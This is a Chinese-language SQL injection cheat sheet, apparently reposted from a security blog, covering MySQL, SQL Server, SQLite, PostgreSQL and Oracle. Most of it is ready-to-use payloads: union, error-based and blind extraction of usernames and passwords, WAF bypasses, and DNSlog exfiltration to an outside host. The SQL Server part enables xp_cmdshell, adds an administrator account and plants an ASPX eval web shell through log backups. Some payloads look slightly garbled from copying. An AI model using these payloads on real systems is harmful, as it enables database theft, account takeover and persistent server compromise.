SQL注入即是指将SQL语句带入查询参数,非法执行SQL语句的过程。
关系型数据库有 Oracle、DB2、PostgreSQL、Microsoft SQL Server、Microsoft Access 和 MySQL等。
非关系型数据库有 Neo4j、MongoDB、Redis、Memcached、MemcacheDB 和 HBase等
1.MySQL
普通注入
数字型:
测试步骤:
(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';
对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;
对应的sql:select * from table where id=3' and 1=1 语句执行正常,与原始页面没有差异;
(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;
字符型
测试步骤:
(1) 加单引号:select * from table where name='admin'';
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ' and 1=1 此时sql 语句为:select * from table where name='admin' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;
因此,构造语句为:select * from table where name ='admin' and 1=--' 可成功执行返回结果正确;
(3) 加and 1=2— 此时sql语句为:select * from table where name='admin' and 1=2–'则会报错;
如果满足以上三点,可以判断该url为字符型注入。
判断列数:
?id=1' order by 4# 报错
?id=1' order by 3# 没有报错,说明存在3列
爆出数据库:
?id=-1' union select 1,database(),3--+
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出数据表:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'#
爆出字段:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#
爆出数据值:
?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+
拓展一些其他函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数:
concat()、group_concat()、concat_ws()
报错注入
extractvalue函数:
?id=1' and extractvalue(1, concat(0x7e,(select @@version),0x7e))--+ (爆出版本号)
?id=1' and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))--+ (爆出操作系统)
?id=1' and extractvalue(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e))--+ (爆数据库)
?id=1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))--+ (爆数据表)
?id=1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))--+(爆字段)
?id=1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e))--+ (爆数据)
updatexml函数:
细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)
?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ (爆数据库)
?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆数据表)
?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段)
?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+
exp函数溢出错误:
在mysql>5.5.53时,则不能返回查询结果
floor函数:
?id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+
?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆数据库,不断改变limit得到其他)
?id=1' union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出users表)
?id=1' union select 1,count(),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出password字段)
?id=1' union select 1,count(),concat(0x7e,(select password from security.users limit 2,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出数值)
延时注入
判断注入点:
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+//无休眠
?id=1") and sleep(5)--+//无休眠
?id=1' and if(length(database())=8,sleep(10),1)--+
爆出数据库:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以一次类推了,就不一
substr(database(),N,1)可以通过改变N的值来判断数据的地几个字符为什么
爆出数据表:
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)-- -
解释:security的第一张表的第一个字符ascii为101,为字符e
limit 0,1),N,1还是改变N的的得出第二个字符
再判断字符(ascii判断)
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+
(left语句判断)
?id=1' and if(left(database(),1)='s',sleep(10),1) --+
?id=1' and if(left(database(),2)='sa',sleep(10),1) --+
Substring函数判断
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+
布尔注入
Left判断
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2) > 'sa' --+
Like语句判断
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+
堆叠注入
?id=1' order by 3%23
?id=1';show tables%23
?id=-1';show columns from 1919810931114514%23
?id=1'; insert into users(id,username,password) values(88,'aaa','bbb')#
加密解密注入
Cookie: uname=YWRtaW4%3D
YWRtaW4%3D这是一个base64加密的字符串其中%3D是编码中的=符号,把他发送到编码模块当中解密,得到明文
发现这个是注入点需要将原来的注入方式重新加密发送给服务器,可以构造注入语句进行base64加密进行报错注入
Dnslog对外注入
注入语句:
?id=1' and (select load_file(concat('\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
?id=1' and (select load_file(concat('\',(select database()),'.682y4b.dnslog.cn/abc'))) --+
宽字节注入
前提
1.使用了addslashes()函数
2.数据库设置了编码模式为GBK
原理:前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞
?id=%df' and 1=1 --+
?id=%df' and 1=2 --+
?id=-1%df' union select 1,2,3 %23
Cookie注入和Xff注入
主要是看看程序员有没有在cookie中做了一些过滤,我们有没有可趁之机。
Cookie: ' order by 4--+
X-Forwarded-For注入
代表客户端真实的IP,通过修改X-Forwarded-for的值可以伪造客户端IP
尝试抓包添加插入X-Forwarded-For:127.0.0.1头进行sql注入
Between注入
主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。a到t就有了,页面正常
mysql语句:select * from users where id =1 and substr(username,1,1) between 'a' and 'b';
limit后面能够拼接的函数只有into和procedure,into可以用来写文件,本文我们不考虑。在Limit后面 可以用 procedure analyse()这个子查询,而且只能用extractvalue 和 benchmark 函数进行延时
procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)
select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
order by注入
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入,尝试报错注入
?sort=1 and(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
?sort=(select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)
技巧:
order by注入技巧
可使用 rand()确定是否存在注入点
比如:
http://xxx.com/SQLI/MyBatis/vul/order?field=rand()
就是是否排序 即order by为 true false而已
可使用if确定注入点
知道列名的情况下使用
http://xxx.com/SQLI/MyBatis/vul/order?field=if(1=2,id,user)
不知道列名的情况下使用
http://xxx.com/SQLI/MyBatis/vul/order?field=if(length(database())=4,sleep(3),1)
配合union select (暂未出结果)
http://xxx.com/SQLI/MyBatis/vul/order?field=3 and union select 1,2,3
Sql注入绕过姿势
绕过空格
两个空格代替一个空格,用Tab代替空格,%a0=空格:
payload:
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
最基本的绕过方法,用注释替换空格:/ 注释 /
括号绕过空格
mysql语句:select(user())from dual where(1=1)and(2=2)
这种过滤方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
绕过引号
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
绕过逗号
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2#
等价于 union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #
等价于 select user() like 'r%'
对于limit可以使用offset来绕过:
select * from news limit 0,1 #
等价于下面这条SQL语句 select * from news limit 1 offset 0
绕过比较符号()
(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):
使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:
使用between and:
between a and b:
between 1 and 1; 等价于 =1
or and xor not绕过:
and=&& or=|| xor=| not=!
绕过注释符
(#,–(后面跟一个空格))过滤:
id=1' union select 1,2,3||'1
最后的or '1闭合查询语句的最后的单引号,或者:
id=1' union select 1,2,'3
绕过等于号
使用like 、rlike 、regexp 或者 使用< 或者 >
绕过union,select,where等:
(1)使用注释符绕过:
常用注释符://,-- , /**/, #, --+, -- -, ;,%00,--a
用法:U// NION // SE// LECT //user,pwd from user
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-
Sql注入Bypass
WAF绕过-应用层
Sql绕过姿势:https://www.csdn.net/tags/MtTaEgwsMTU4NzM1LWJsb2cO0O0O.html
大小写/关键字替换
id=1UnIoN/**/SeLeCT1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid() substring() 等价于substr()
@@user 等价于 User()
@@Version 等价于 version()
绕过:
括号失效的情况
select{x user}from {x mysql.user};
AND -> &&
OR -> || / ^
= -> LIKE,REGEXP, BETWEEN, not < and not >,!<>
X -> not between 0 and X
WHERE -> HAVING
手工盲注 1'||ascii(substr(database(),2,1))>='120
各种编码
大小写,URL,hex,%0A等
注释使用
//----+#//+:%00/!/等
再次循环
union==uunionnion
等价替换
hex()、bin() > ascii()
sleep() >benchmark()
concat_ws()>group_concat()
mid()、substr() > substring()
@@user > user()
@@datadir > datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
参数污染
?id=1&id=2&id=3
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64等
更改请求提交方式
尝试更改Get请求为Post请求
GET POST COOKIE等
POST->multipart/form-data
中间件HPP(HTTP参数污染)
2.Sqlserver注入(mssql)
SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 -- 。延时命令:WAITFOR DELAY '0:0:2'
SQLServer有三个权限级别:
sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
db权限:文件管理,数据库操作等权限 users-administrators
public权限:数据库操作 guest-users
判断是否是SA权限(数据库操作、文件管理、命令执行、注册表读取)
select is_srvrolemember('sysadmin')
判断是否是db_owner权限 (数据库操作、文件管理)
select is_member('db_owner')
判断是否是public权限 (数据库操作)
select is_srvrolemember('public')
SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。
附上payload:
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
EXEC master.sys.xp_dirtree '\192.168.106.5\xx.txt',0,1;
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
普通注入
order by 2 成功;order by 3 失败;order by 4 成功;order by 5 失败 说明列数位于 3-4之间。查找回显点
id=2 and 1=2 union all select null,null,null,null;挨个替换null 发现 select null,2,null,null 页面出现回显。
查找所在库名称添加:?id=2 and 1=2 union all select 1,(select db_name()), '3', 4
找到数据库名称。提示:这里也可以使用db_name(1)、db_name(2)等查询其他数据
查找数据库表名称:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4提示: xtype='U' 为 用户表
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4替换 col_name(object_id('manage'),1) 中的1 依次为 2,3,4查出所有列名。
查取数据: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 获取用户名;
?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 获取密码
全回显操作
获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】
(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
案例:mozhe_dbv2是数据库名字
一次爆指定表的所有列(只限于mssql2005及以上版本):
(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))—
案例:mange是表名
报错注入
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员sa
常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限dbo
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限
(2)单个爆破:
and 1=convert(int,(select top 1 table_name from information_schema.tables ))—获取第一个表名
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary') )) 获取第二个表名
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' ))— 获取第一个列名
and 1=convert(int,(select top 1 username from login ))
and 1=convert(int,(select top 1 password from login ))
(2)全爆语句
爆表,要求sqlserver版本2005以上
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
爆列
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))—
时间注入
aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5' –
判断内容
aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--
布尔盲注
1.aspx?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109
XP_CMDSHELL检测
看下目标的xp_cmdshell存储过程是否还在,主要是想看它有没有被删掉,你也可以用这种方式来查询其它你想知道的任何存储过程,如果判断还在,页面显示正常,不在的话页面报错。
and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell') –
开启xpcmdshell一句话。前提 1、支持堆叠 2、扩展存储过程没被删除
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
前提:sa权限探测是否存在1433端口。然后检测是否开启CMDSHELL
用XP_CMDSHELL添加用户hacker:
exec master..xp_cmdshell "whoami"
asp?id=3;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
XP_CMDSHELL把用户hacker加到ADMIN组:
asp?id=3;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
学习的文档:https://www.lagou.com/lgeduarticle/38721.html
https://www.cnblogs.com/vigarbuaa/p/3371500.html
https://www.cnblogs.com/cnjava/archive/2012/06/13/2547524.html
https://blog.csdn.net/weixin_34319999/article/details/92479895
拿shell方法
前提:
1具备sa或者dbo权限
2web目录的绝对路径 (可以利用xp_cmdshell的方式寻找绝对路径,插个眼)
(1)xp_cmdshell拿shell
1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\WWW\aufeng.aspx' ;
(2)差异备份拿shell
大概思路:
假设:http://xxxxx/show.aspx?code=1
中的code参数存在注入点 并且获得数据库名字为abc 爆出了物理路径为e:\xampp\htdocs\dvwa\
(1) 修改数据库设置为恢复模式
http://xxxxx/show.asp?code=1';alter database abc set RECOVERY FULL –
完全恢复模式是默认的恢复模式。在完全恢复模式下,需要手工的对事务日志进行管理,优点是可以恢复到数据库失败或者指定的时间点上。
(2) 备份当前数据库日志到文件
http://xxxxx/show.aspx?code=1';backup log abc to disk=‘e:\xampp\htdocs\dvwa’ with init –
备份数据库日志到服务器上,其中路径是网页的物理路径。
(3) 建立一张表和一个字段
http://xxxxx/show.aspx?code=1';create table tt(a text) –
(4) 往表中插入一句话马子
http://xxxxx/show.asp?code=1';insert into tt(a) values(’<%eval request(“abc”) %>’) –
values中的内容一般转换为马子的hex值。
(5) 再次备份日志
http://xxxxx/show.asp?code=1';backup log ahykd_new to disk=‘e:\xampp\htdocs\dvwa\1.aspx’ –
再次备份日志,备份路径为网站服务器的物理路径
(6) 删除表
http://xxxxx/show.aspx?code=1';drop table tt –
然后菜刀尝试连接http://xxxxx/1.aspx
参考文章:这里是借鉴大佬的笔记的总结
https://www.yuque.com/aufeng/aufeng_good/iganif#Q5PqT
https://www.cnblogs.com/vigarbuaa/p/3371500.html
3.Sqlite注入
如果您的站点允许用户通过网页输入,并将输入内容插入到 SQLite 数据库中,这个时候您就面临着一个被称为 SQL 注入的安全问题。本章节将向您讲解如何防止这种情况的发生,确保脚本和 SQLite 语句的安全。
1.Sqlite-master:这个是内置系统表、相当于mysql的information_schema
但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型
2.sqlite并不支持像mysql那样的注释,但是可以通过 — 方式增加DDL注释(写shell会用到)
可参考:https://blog.csdn.net/hackzkaq/article/details/117119953
4.Postsql注入
PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),4.2版本为基础的对象关系型数据库管理系统。
PostgreSQL安装后,默认的端口是:5432,默认的用户名是:postgres ,默认的数据库也是:postgres 。
注释符:--
延时函数:pg_sleep(3)
参考:https://blog.csdn.net/qq_36119192/article/details/104628797
5.OracleSQL
基础知识
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
参考文档学习:https://blog.csdn.net/weixin_42508548/article/details/121516504
总结: 本文主要是对Owasp-top10--sql注入的学习整理,参考了一些大佬的文章,希望对你们有用
作者:Nday00
原文地址:https://www.freebuf.com/articles/web/339118.html